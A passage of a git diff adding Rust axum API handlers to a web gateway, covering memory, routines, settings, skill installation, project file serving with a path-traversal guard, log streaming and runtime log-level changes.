path.to_string(), + content, + })) +} diff --git a/src/channels/web/handlers/memory.rs b/src/channels/web/handlers/memory.rs new file mode 100644 index 00000000..8e50f25e --- /dev/null +++ b/src/channels/web/handlers/memory.rs @@ -0,0 +1,171 @@ +//! Memory/workspace API handlers. + +use std::sync::Arc; + +use axum::{ + Json, + extract::{Query, State}, + http::StatusCode, +}; +use serde::Deserialize; + +use crate::channels::web::server::GatewayState; +use crate::channels::web::types::*; + +#[derive(Deserialize)] +pub struct TreeQuery { + #[allow(dead_code)] + pub depth: Option, +} + +pub async fn memory_tree_handler( + State(state): State>, + Query(_query): Query, +) -> Result, (StatusCode, String)> { + let workspace = state.workspace.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Workspace not available".to_string(), + ))?; + + // Build tree from list_all (flat list of all paths) + let all_paths = workspace + .list_all() + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + // Collect unique directories and files + let mut entries: Vec = Vec::new(); + let mut seen_dirs: std::collections::HashSet = std::collections::HashSet::new(); + + for path in &all_paths { + // Add parent directories + let parts: Vec<&str> = path.split('/').collect(); + for i in 0..parts.len().saturating_sub(1) { + let dir_path = parts[..=i].join("/"); + if seen_dirs.insert(dir_path.clone()) { + entries.push(TreeEntry { + path: dir_path, + is_dir: true, + }); + } + } + // Add the file itself + entries.push(TreeEntry { + path: path.clone(), + is_dir: false, + }); + } + + entries.sort_by(|a, b| a.path.cmp(&b.path)); + + Ok(Json(MemoryTreeResponse { entries })) +} + +#[derive(Deserialize)] +pub struct ListQuery { + pub path: Option, +} + +pub async fn memory_list_handler( + State(state): State>, + Query(query): Query, +) -> Result, (StatusCode, String)> { + let workspace = state.workspace.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Workspace not available".to_string(), + ))?; + + let path = query.path.as_deref().unwrap_or(""); + let entries = workspace + .list(path) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let list_entries: Vec = entries + .iter() + .map(|e| ListEntry { + name: e.path.rsplit('/').next().unwrap_or(&e.path).to_string(), + path: e.path.clone(), + is_dir: e.is_directory, + updated_at: e.updated_at.map(|dt| dt.to_rfc3339()), + }) + .collect(); + + Ok(Json(MemoryListResponse { + path: path.to_string(), + entries: list_entries, + })) +} + +#[derive(Deserialize)] +pub struct ReadQuery { + pub path: String, +} + +pub async fn memory_read_handler( + State(state): State>, + Query(query): Query, +) -> Result, (StatusCode, String)> { + let workspace = state.workspace.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Workspace not available".to_string(), + ))?; + + let doc = workspace + .read(&query.path) + .await + .map_err(|e| (StatusCode::NOT_FOUND, e.to_string()))?; + + Ok(Json(MemoryReadResponse { + path: query.path, + content: doc.content, + updated_at: Some(doc.updated_at.to_rfc3339()), + })) +} + +pub async fn memory_write_handler( + State(state): State>, + Json(req): Json, +) -> Result, (StatusCode, String)> { + let workspace = state.workspace.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Workspace not available".to_string(), + ))?; + + workspace + .write(&req.path, &req.content) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + Ok(Json(MemoryWriteResponse { + path: req.path, + status: "written", + })) +} + +pub async fn memory_search_handler( + State(state): State>, + Json(req): Json, +) -> Result, (StatusCode, String)> { + let workspace = state.workspace.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Workspace not available".to_string(), + ))?; + + let limit = req.limit.unwrap_or(10); + let results = workspace + .search(&req.query, limit) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let hits: Vec = results + .into_iter() + .map(|r| SearchHit { + path: r.document_path, + content: r.content, + score: r.score as f64, + }) + .collect(); + + Ok(Json(MemorySearchResponse { results: hits })) +} diff --git a/src/channels/web/handlers/mod.rs b/src/channels/web/handlers/mod.rs new file mode 100644 index 00000000..0573a067 --- /dev/null +++ b/src/channels/web/handlers/mod.rs @@ -0,0 +1,28 @@ +//! Handler modules for the web gateway API. +//! +//! Each module groups related endpoint handlers by domain. +//! +//! # Migration status +//! +//! `skills` is the canonical implementation used by `server.rs`. +//! The remaining modules are in-progress migrations from inline server.rs +//! handlers; their functions are not yet wired up, hence the `dead_code` allow. + +pub mod skills; + +// Modules not yet wired into server.rs router -- suppress dead_code until +// they replace their inline counterparts. +#[allow(dead_code)] +pub mod chat; +#[allow(dead_code)] +pub mod extensions; +#[allow(dead_code)] +pub mod jobs; +#[allow(dead_code)] +pub mod memory; +#[allow(dead_code)] +pub mod routines; +#[allow(dead_code)] +pub mod settings; +#[allow(dead_code)] +pub mod static_files; diff --git a/src/channels/web/handlers/routines.rs b/src/channels/web/handlers/routines.rs new file mode 100644 index 00000000..d7c4f764 --- /dev/null +++ b/src/channels/web/handlers/routines.rs @@ -0,0 +1,320 @@ +//! Routine management API handlers. + +use std::sync::Arc; + +use axum::{ + Json, + extract::{Path, State}, + http::StatusCode, +}; +use serde::Deserialize; +use uuid::Uuid; + +use crate::channels::web::server::GatewayState; +use crate::channels::web::types::*; +use crate::error::RoutineError; + +pub async fn routines_list_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let routines = store + .list_all_routines() + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let items: Vec = routines.iter().map(routine_to_info).collect(); + + Ok(Json(RoutineListResponse { routines: items })) +} + +pub async fn routines_summary_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let routines = store + .list_all_routines() + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let total = routines.len() as u64; + let enabled = routines.iter().filter(|r| r.enabled).count() as u64; + let disabled = total - enabled; + let failing = routines + .iter() + .filter(|r| r.consecutive_failures > 0) + .count() as u64; + + let today_start = chrono::Utc::now() + .date_naive() + .and_hms_opt(0, 0, 0) + .map(|dt| dt.and_utc()); + let runs_today = if let Some(start) = today_start { + routines + .iter() + .filter(|r| r.last_run_at.is_some_and(|ts| ts >= start)) + .count() as u64 + } else { + 0 + }; + + Ok(Json(RoutineSummaryResponse { + total, + enabled, + disabled, + failing, + runs_today, + })) +} + +pub async fn routines_detail_handler( + State(state): State>, + Path(id): Path, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let routine_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid routine ID".to_string()))?; + + let routine = store + .get_routine(routine_id) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? + .ok_or((StatusCode::NOT_FOUND, "Routine not found".to_string()))?; + + let runs = store + .list_routine_runs(routine_id, 20) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let recent_runs: Vec = runs + .iter() + .map(|run| RoutineRunInfo { + id: run.id, + trigger_type: run.trigger_type.clone(), + started_at: run.started_at.to_rfc3339(), + completed_at: run.completed_at.map(|dt| dt.to_rfc3339()), + status: format!("{:?}", run.status), + result_summary: run.result_summary.clone(), + tokens_used: run.tokens_used, + }) + .collect(); + + Ok(Json(RoutineDetailResponse { + id: routine.id, + name: routine.name.clone(), + description: routine.description.clone(), + enabled: routine.enabled, + trigger: serde_json::to_value(&routine.trigger).unwrap_or_default(), + action: serde_json::to_value(&routine.action).unwrap_or_default(), + guardrails: serde_json::to_value(&routine.guardrails).unwrap_or_default(), + notify: serde_json::to_value(&routine.notify).unwrap_or_default(), + last_run_at: routine.last_run_at.map(|dt| dt.to_rfc3339()), + next_fire_at: routine.next_fire_at.map(|dt| dt.to_rfc3339()), + run_count: routine.run_count, + consecutive_failures: routine.consecutive_failures, + created_at: routine.created_at.to_rfc3339(), + recent_runs, + })) +} + +pub async fn routines_trigger_handler( + State(state): State>, + Path(id): Path, +) -> Result, (StatusCode, String)> { + // Clone the Arc out of the lock to avoid holding the RwLock across .await. + let engine = { + let guard = state.routine_engine.read().await; + guard.as_ref().cloned().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Routine engine not available".to_string(), + ))? + }; + + let routine_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid routine ID".to_string()))?; + + let run_id = engine + .fire_manual(routine_id, Some(&state.user_id)) + .await + .map_err(|e| (routine_error_status(&e), e.to_string()))?; + + Ok(Json(serde_json::json!({ + "status": "triggered", + "routine_id": routine_id, + "run_id": run_id, + }))) +} + +#[derive(Deserialize)] +pub struct ToggleRequest { + pub enabled: Option, +} + +pub async fn routines_toggle_handler( + State(state): State>, + Path(id): Path, + body: Option>, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let routine_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid routine ID".to_string()))?; + + let mut routine = store + .get_routine(routine_id) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? + .ok_or((StatusCode::NOT_FOUND, "Routine not found".to_string()))?; + + // If a specific value was provided, use it; otherwise toggle. + routine.enabled = match body { + Some(Json(req)) => req.enabled.unwrap_or(!routine.enabled), + None => !routine.enabled, + }; + + store + .update_routine(&routine) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + Ok(Json(serde_json::json!({ + "status": if routine.enabled { "enabled" } else { "disabled" }, + "routine_id": routine_id, + }))) +} + +pub async fn routines_delete_handler( + State(state): State>, + Path(id): Path, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let routine_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid routine ID".to_string()))?; + + let deleted = store + .delete_routine(routine_id) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + if deleted { + Ok(Json(serde_json::json!({ + "status": "deleted", + "routine_id": routine_id, + }))) + } else { + Err((StatusCode::NOT_FOUND, "Routine not found".to_string())) + } +} + +pub async fn routines_runs_handler( + State(state): State>, + Path(id): Path, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let routine_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid routine ID".to_string()))?; + + let runs = store + .list_routine_runs(routine_id, 50) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let run_infos: Vec = runs + .iter() + .map(|run| RoutineRunInfo { + id: run.id, + trigger_type: run.trigger_type.clone(), + started_at: run.started_at.to_rfc3339(), + completed_at: run.completed_at.map(|dt| dt.to_rfc3339()), + status: format!("{:?}", run.status), + result_summary: run.result_summary.clone(), + tokens_used: run.tokens_used, + }) + .collect(); + + Ok(Json(serde_json::json!({ + "routine_id": routine_id, + "runs": run_infos, + }))) +} + +/// Convert a Routine to the trimmed RoutineInfo for list display. +fn routine_to_info(r: &crate::agent::routine::Routine) -> RoutineInfo { + let (trigger_type, trigger_summary) = match &r.trigger { + crate::agent::routine::Trigger::Cron { schedule, .. } => { + ("cron".to_string(), format!("cron: {}", schedule)) + } + crate::agent::routine::Trigger::Event { + pattern, channel, .. + } => { + let ch = channel.as_deref().unwrap_or("any"); + ("event".to_string(), format!("on {} /{}/", ch, pattern)) + } + crate::agent::routine::Trigger::Webhook { path, .. } => { + let p = path.as_deref().unwrap_or("/"); + ("webhook".to_string(), format!("webhook: {}", p)) + } + crate::agent::routine::Trigger::Manual => ("manual".to_string(), "manual only".to_string()), + }; + + let action_type = match &r.action { + crate::agent::routine::RoutineAction::Lightweight { .. } => "lightweight", + crate::agent::routine::RoutineAction::FullJob { .. } => "full_job", + }; + + let status = if !r.enabled { + "disabled" + } else if r.consecutive_failures > 0 { + "failing" + } else { + "active" + }; + + RoutineInfo { + id: r.id, + name: r.name.clone(), + description: r.description.clone(), + enabled: r.enabled, + trigger_type, + trigger_summary, + action_type: action_type.to_string(), + last_run_at: r.last_run_at.map(|dt| dt.to_rfc3339()), + next_fire_at: r.next_fire_at.map(|dt| dt.to_rfc3339()), + run_count: r.run_count, + consecutive_failures: r.consecutive_failures, + status: status.to_string(), + } +} + +/// Map `RoutineError` variants to appropriate HTTP status codes. +fn routine_error_status(err: &RoutineError) -> StatusCode { + match err { + RoutineError::NotFound { .. } => StatusCode::NOT_FOUND, + RoutineError::NotAuthorized { .. } => StatusCode::FORBIDDEN, + RoutineError::Disabled { .. } | RoutineError::MaxConcurrent { .. } => StatusCode::CONFLICT, + _ => StatusCode::INTERNAL_SERVER_ERROR, + } +} diff --git a/src/channels/web/handlers/settings.rs b/src/channels/web/handlers/settings.rs new file mode 100644 index 00000000..dd66027b --- /dev/null +++ b/src/channels/web/handlers/settings.rs @@ -0,0 +1,133 @@ +//! Settings API handlers. + +use std::sync::Arc; + +use axum::{ + Json, + extract::{Path, State}, + http::StatusCode, +}; + +use crate::channels::web::server::GatewayState; +use crate::channels::web::types::*; + +pub async fn settings_list_handler( + State(state): State>, +) -> Result, StatusCode> { + let store = state + .store + .as_ref() + .ok_or(StatusCode::SERVICE_UNAVAILABLE)?; + let rows = store.list_settings(&state.user_id).await.map_err(|e| { + tracing::error!("Failed to list settings: {}", e); + StatusCode::INTERNAL_SERVER_ERROR + })?; + + let settings = rows + .into_iter() + .map(|r| SettingResponse { + key: r.key, + value: r.value, + updated_at: r.updated_at.to_rfc3339(), + }) + .collect(); + + Ok(Json(SettingsListResponse { settings })) +} + +pub async fn settings_get_handler( + State(state): State>, + Path(key): Path, +) -> Result, StatusCode> { + let store = state + .store + .as_ref() + .ok_or(StatusCode::SERVICE_UNAVAILABLE)?; + let row = store + .get_setting_full(&state.user_id, &key) + .await + .map_err(|e| { + tracing::error!("Failed to get setting '{}': {}", key, e); + StatusCode::INTERNAL_SERVER_ERROR + })? + .ok_or(StatusCode::NOT_FOUND)?; + + Ok(Json(SettingResponse { + key: row.key, + value: row.value, + updated_at: row.updated_at.to_rfc3339(), + })) +} + +pub async fn settings_set_handler( + State(state): State>, + Path(key): Path, + Json(body): Json, +) -> Result { + let store = state + .store + .as_ref() + .ok_or(StatusCode::SERVICE_UNAVAILABLE)?; + store + .set_setting(&state.user_id, &key, &body.value) + .await + .map_err(|e| { + tracing::error!("Failed to set setting '{}': {}", key, e); + StatusCode::INTERNAL_SERVER_ERROR + })?; + + Ok(StatusCode::NO_CONTENT) +} + +pub async fn settings_delete_handler( + State(state): State>, + Path(key): Path, +) -> Result { + let store = state + .store + .as_ref() + .ok_or(StatusCode::SERVICE_UNAVAILABLE)?; + store + .delete_setting(&state.user_id, &key) + .await + .map_err(|e| { + tracing::error!("Failed to delete setting '{}': {}", key, e); + StatusCode::INTERNAL_SERVER_ERROR + })?; + + Ok(StatusCode::NO_CONTENT) +} + +pub async fn settings_export_handler( + State(state): State>, +) -> Result, StatusCode> { + let store = state + .store + .as_ref() + .ok_or(StatusCode::SERVICE_UNAVAILABLE)?; + let settings = store.get_all_settings(&state.user_id).await.map_err(|e| { + tracing::error!("Failed to export settings: {}", e); + StatusCode::INTERNAL_SERVER_ERROR + })?; + + Ok(Json(SettingsExportResponse { settings })) +} + +pub async fn settings_import_handler( + State(state): State>, + Json(body): Json, +) -> Result { + let store = state + .store + .as_ref() + .ok_or(StatusCode::SERVICE_UNAVAILABLE)?; + store + .set_all_settings(&state.user_id, &body.settings) + .await + .map_err(|e| { + tracing::error!("Failed to import settings: {}", e); + StatusCode::INTERNAL_SERVER_ERROR + })?; + + Ok(StatusCode::NO_CONTENT) +} diff --git a/src/channels/web/handlers/skills.rs b/src/channels/web/handlers/skills.rs new file mode 100644 index 00000000..400d179a --- /dev/null +++ b/src/channels/web/handlers/skills.rs @@ -0,0 +1,275 @@ +//! Skills management API handlers. + +use std::sync::Arc; + +use axum::{ + Json, + extract::{Path, State}, + http::StatusCode, +}; + +use crate::channels::web::server::GatewayState; +use crate::channels::web::types::*; + +pub async fn skills_list_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let registry = state.skill_registry.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Skills system not enabled".to_string(), + ))?; + + let guard = registry.read().map_err(|e| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + format!("Skill registry lock poisoned: {}", e), + ) + })?; + + let skills: Vec = guard + .skills() + .iter() + .map(|s| SkillInfo { + name: s.manifest.name.clone(), + description: s.manifest.description.clone(), + version: s.manifest.version.clone(), + trust: s.trust.to_string(), + source: format!("{:?}", s.source), + keywords: s.manifest.activation.keywords.clone(), + }) + .collect(); + + let count = skills.len(); + Ok(Json(SkillListResponse { skills, count })) +} + +pub async fn skills_search_handler( + State(state): State>, + Json(req): Json, +) -> Result, (StatusCode, String)> { + let registry = state.skill_registry.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Skills system not enabled".to_string(), + ))?; + + let catalog = state.skill_catalog.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Skill catalog not available".to_string(), + ))?; + + // Search ClawHub catalog + let catalog_outcome = catalog.search(&req.query).await; + let catalog_error = catalog_outcome.error.clone(); + + // Enrich top results with detail data (stars, downloads, owner) + let mut entries = catalog_outcome.results; + catalog.enrich_search_results(&mut entries, 5).await; + + let catalog_json: Vec = entries + .into_iter() + .map(|e| { + serde_json::json!({ + "slug": e.slug, + "name": e.name, + "description": e.description, + "version": e.version, + "score": e.score, + "updatedAt": e.updated_at, + "stars": e.stars, + "downloads": e.downloads, + "owner": e.owner, + }) + }) + .collect(); + + // Search local skills + let query_lower = req.query.to_lowercase(); + let installed: Vec = { + let guard = registry.read().map_err(|e| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + format!("Skill registry lock poisoned: {}", e), + ) + })?; + guard + .skills() + .iter() + .filter(|s| { + s.manifest.name.to_lowercase().contains(&query_lower) + || s.manifest.description.to_lowercase().contains(&query_lower) + }) + .map(|s| SkillInfo { + name: s.manifest.name.clone(), + description: s.manifest.description.clone(), + version: s.manifest.version.clone(), + trust: s.trust.to_string(), + source: format!("{:?}", s.source), + keywords: s.manifest.activation.keywords.clone(), + }) + .collect() + }; + + Ok(Json(SkillSearchResponse { + catalog: catalog_json, + installed, + registry_url: catalog.registry_url().to_string(), + catalog_error, + })) +} + +pub async fn skills_install_handler( + State(state): State>, + headers: axum::http::HeaderMap, + Json(req): Json, +) -> Result, (StatusCode, String)> { + // Require explicit confirmation header to prevent accidental installs. + // Chat tools have requires_approval(); this is the equivalent for the web API. + if headers + .get("x-confirm-action") + .and_then(|v| v.to_str().ok()) + != Some("true") + { + return Err(( + StatusCode::BAD_REQUEST, + "Skill install requires X-Confirm-Action: true header".to_string(), + )); + } + + let registry = state.skill_registry.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Skills system not enabled".to_string(), + ))?; + + let content = if let Some(ref raw) = req.content { + raw.clone() + } else if let Some(ref url) = req.url { + // Fetch from explicit URL (with SSRF protection) + crate::tools::builtin::skill_tools::fetch_skill_content(url) + .await + .map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))? + } else if let Some(ref catalog) = state.skill_catalog { + // Prefer slug (e.g. "owner/skill-name") over display name for the + // download URL, since the registry endpoint expects a slug. + let download_key = req + .slug + .as_deref() + .filter(|s| !s.is_empty()) + .unwrap_or(&req.name); + let url = crate::skills::catalog::skill_download_url(catalog.registry_url(), download_key); + crate::tools::builtin::skill_tools::fetch_skill_content(&url) + .await + .map_err(|e| (StatusCode::BAD_GATEWAY, e.to_string()))? + } else { + return Ok(Json(ActionResponse::fail( + "Provide 'content' or 'url' to install a skill".to_string(), + ))); + }; + + // Parse, check duplicates, and get install_dir under a brief read lock. + let (user_dir, skill_name_from_parse) = { + let guard = registry.read().map_err(|e| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + format!("Skill registry lock poisoned: {}", e), + ) + })?; + + let normalized = crate::skills::normalize_line_endings(&content); + let parsed = crate::skills::parser::parse_skill_md(&normalized) + .map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))?; + let skill_name = parsed.manifest.name.clone(); + + if guard.has(&skill_name) { + return Ok(Json(ActionResponse::fail(format!( + "Skill '{}' already exists", + skill_name + )))); + } + + (guard.install_target_dir().to_path_buf(), skill_name) + }; + + // Perform async I/O (write to disk, load) with no lock held. + let normalized = crate::skills::normalize_line_endings(&content); + let (skill_name, loaded_skill) = + crate::skills::registry::SkillRegistry::prepare_install_to_disk( + &user_dir, + &skill_name_from_parse, + &normalized, + ) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + // Commit: brief write lock for in-memory addition + let mut guard = registry.write().map_err(|e| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + format!("Skill registry lock poisoned: {}", e), + ) + })?; + + match guard.commit_install(&skill_name, loaded_skill) { + Ok(()) => Ok(Json(ActionResponse::ok(format!( + "Skill '{}' installed", + skill_name + )))), + Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))), + } +} + +pub async fn skills_remove_handler( + State(state): State>, + headers: axum::http::HeaderMap, + Path(name): Path, +) -> Result, (StatusCode, String)> { + // Require explicit confirmation header to prevent accidental removals. + if headers + .get("x-confirm-action") + .and_then(|v| v.to_str().ok()) + != Some("true") + { + return Err(( + StatusCode::BAD_REQUEST, + "Skill removal requires X-Confirm-Action: true header".to_string(), + )); + } + + let registry = state.skill_registry.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Skills system not enabled".to_string(), + ))?; + + // Validate removal under a brief read lock + let skill_path = { + let guard = registry.read().map_err(|e| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + format!("Skill registry lock poisoned: {}", e), + ) + })?; + guard + .validate_remove(&name) + .map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))? + }; + + // Delete files from disk (async I/O, no lock held) + crate::skills::registry::SkillRegistry::delete_skill_files(&skill_path) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + // Remove from in-memory registry under a brief write lock + let mut guard = registry.write().map_err(|e| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + format!("Skill registry lock poisoned: {}", e), + ) + })?; + + match guard.commit_remove(&name) { + Ok(()) => Ok(Json(ActionResponse::ok(format!( + "Skill '{}' removed", + name + )))), + Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))), + } +} diff --git a/src/channels/web/handlers/static_files.rs b/src/channels/web/handlers/static_files.rs new file mode 100644 index 00000000..c198d95e --- /dev/null +++ b/src/channels/web/handlers/static_files.rs @@ -0,0 +1,175 @@ +//! Static file and health handlers. + +use axum::{ + Json, + http::{StatusCode, header}, + response::{Html, IntoResponse}, +}; + +use crate::bootstrap::ironclaw_base_dir; +use crate::channels::web::types::*; + +// --- Static file handlers --- + +pub async fn index_handler() -> Html<&'static str> { + Html(include_str!("../static/index.html")) +} + +pub async fn css_handler() -> impl IntoResponse { + ( + [(header::CONTENT_TYPE, "text/css")], + include_str!("../static/style.css"), + ) +} + +pub async fn js_handler() -> impl IntoResponse { + ( + [(header::CONTENT_TYPE, "application/javascript")], + include_str!("../static/app.js"), + ) +} + +// --- Health --- + +pub async fn health_handler() -> Json { + Json(HealthResponse { + status: "healthy", + channel: "gateway", + }) +} + +// --- Project file serving handlers --- + +use axum::extract::Path; + +/// Redirect `/projects/{id}` to `/projects/{id}/` so relative paths in +/// the served HTML resolve within the project namespace. +pub async fn project_redirect_handler(Path(project_id): Path) -> impl IntoResponse { + axum::response::Redirect::permanent(&format!("/projects/{project_id}/")) +} + +/// Serve `index.html` when hitting `/projects/{project_id}/`. +pub async fn project_index_handler(Path(project_id): Path) -> impl IntoResponse { + serve_project_file(&project_id, "index.html").await +} + +/// Serve any file under `/projects/{project_id}/{path}`. +pub async fn project_file_handler( + Path((project_id, path)): Path<(String, String)>, +) -> impl IntoResponse { + serve_project_file(&project_id, &path).await +} + +/// Shared logic: resolve the file inside `~/.ironclaw/projects/{project_id}/`, +/// guard against path traversal, and stream the content with the right MIME type. +async fn serve_project_file(project_id: &str, path: &str) -> axum::response::Response { + // Reject project_id values that could escape the projects directory. + if project_id.contains('/') + || project_id.contains('\\') + || project_id.contains("..") + || project_id.is_empty() + { + return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response(); + } + + let base = ironclaw_base_dir().join("projects").join(project_id); + + let file_path = base.join(path); + + // Path traversal guard + let canonical = match file_path.canonicalize() { + Ok(p) => p, + Err(_) => return (StatusCode::NOT_FOUND, "Not found").into_response(), + }; + let base_canonical = match base.canonicalize() { + Ok(p) => p, + Err(_) => return (StatusCode::NOT_FOUND, "Not found").into_response(), + }; + if !canonical.starts_with(&base_canonical) { + return (StatusCode::FORBIDDEN, "Forbidden").into_response(); + } + + match tokio::fs::read(&canonical).await { + Ok(contents) => { + let mime = mime_guess::from_path(&canonical) + .first_or_octet_stream() + .to_string(); + ([(header::CONTENT_TYPE, mime)], contents).into_response() + } + Err(_) => (StatusCode::NOT_FOUND, "Not found").into_response(), + } +} + +// --- Logs --- + +use std::convert::Infallible; +use std::sync::Arc; + +use axum::extract::State; +use axum::response::sse::{Event, KeepAlive, Sse}; +use tokio_stream::StreamExt; + +use crate::channels::web::server::GatewayState; + +pub async fn logs_events_handler( + State(state): State>, +) -> Result< + Sse> + Send + 'static>, + (StatusCode, String), +> { + let broadcaster = state.log_broadcaster.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Log broadcaster not available".to_string(), + ))?; + + // Replay recent history so late-joining browsers see startup logs. + // Subscribe BEFORE snapshotting to avoid a gap between history and live. + let rx = broadcaster.subscribe(); + let history = broadcaster.recent_entries(); + + let history_stream = futures::stream::iter(history).map(|entry| { + let data = serde_json::to_string(&entry).unwrap_or_default(); + Ok(Event::default().event("log").data(data)) + }); + + let live_stream = tokio_stream::wrappers::BroadcastStream::new(rx) + .filter_map(|result| result.ok()) + .map(|entry| { + let data = serde_json::to_string(&entry).unwrap_or_default(); + Ok(Event::default().event("log").data(data)) + }); + + let stream = history_stream.chain(live_stream); + + Ok(Sse::new(stream).keep_alive( + KeepAlive::new() + .interval(std::time::Duration::from_secs(30)) + .text(""), + )) +} + +// --- Gateway status --- + +pub async fn gateway_status_handler( + State(state): State>, +) -> Json { + let sse_connections = state.sse.connection_count(); + let ws_connections = state + .ws_tracker + .as_ref() + .map(|t| t.connection_count()) + .unwrap_or(0); + + Json(GatewayStatusResponse { + sse_connections, + ws_connections, + total_connections: sse_connections + ws_connections, + }) +} + +#[derive(serde::Serialize)] +pub struct GatewayStatusResponse { + pub sse_connections: u64, + pub ws_connections: u64, + pub total_connections: u64, +} diff --git a/src/channels/web/log_layer.rs b/src/channels/web/log_layer.rs index 3a55b994..b599ab09 100644 --- a/src/channels/web/log_layer.rs +++ b/src/channels/web/log_layer.rs @@ -22,7 +22,9 @@ use std::sync::{Arc, Mutex}; use serde::Serialize; use tokio::sync::broadcast; use tracing::field::{Field, Visit}; -use tracing_subscriber::Layer; +use tracing_subscriber::layer::SubscriberExt; +use tracing_subscriber::util::SubscriberInitExt; +use tracing_subscriber::{EnvFilter, Layer, reload}; use crate::safety::LeakDetector; @@ -88,6 +90,9 @@ impl LogBroadcaster { } /// Snapshot of recent entries for replaying to a new subscriber. + /// + /// Returns entries oldest-first so that the frontend's `prepend()` + /// naturally places the newest entry at the top of the DOM. pub fn recent_entries(&self) -> Vec { self.recent .lock() @@ -102,6 +107,115 @@ impl Default for LogBroadcaster { } } +/// Handle for changing the tracing `EnvFilter` at runtime. +/// +/// Wraps a `reload::Handle` so the gateway can switch between log levels +/// (e.g. `ironclaw=debug`) without restarting the process. +pub struct LogLevelHandle { + handle: reload::Handle, + current_level: Mutex, + base_filter: String, +} + +impl LogLevelHandle { + pub fn new( + handle: reload::Handle, + initial_level: String, + base_filter: String, + ) -> Self { + Self { + handle, + current_level: Mutex::new(initial_level), + base_filter, + } + } + + /// Change the `ironclaw=` directive at runtime. + /// + /// `level` must be one of: trace, debug, info, warn, error. + pub fn set_level(&self, level: &str) -> Result<(), String> { + const VALID: &[&str] = &["trace", "debug", "info", "warn", "error"]; + let level = level.to_lowercase(); + if !VALID.contains(&level.as_str()) { + return Err(format!( + "invalid level '{}', must be one of: {}", + level, + VALID.join(", ") + )); + } + + let filter_str = if self.base_filter.is_empty() { + format!("ironclaw={}", level) + } else { + format!("ironclaw={},{}", level, self.base_filter) + }; + + let new_filter = EnvFilter::new(&filter_str); + self.handle + .reload(new_filter) + .map_err(|e| format!("failed to reload filter: {}", e))?; + + if let Ok(mut current) = self.current_level.lock() { + *current = level; + } + Ok(()) + } + + /// Returns the current ironclaw log level (e.g. "info", "debug"). + pub fn current_level(&self) -> String { + self.current_level + .lock() + .map(|l| l.clone()) + .unwrap_or_else(|_| "info".to_string()) + } +} + +/// Initialise the tracing subscriber with a reloadable `EnvFilter`. +/// +/// Returns the `LogLevelHandle` so callers can swap the filter at runtime. +/// The fmt layer and `WebLogLayer` are attached alongside the reloadable filter. +pub fn init_tracing(log_broadcaster: Arc) -> Arc { + let raw_filter = + std::env::var("RUST_LOG").unwrap_or_else(|_| 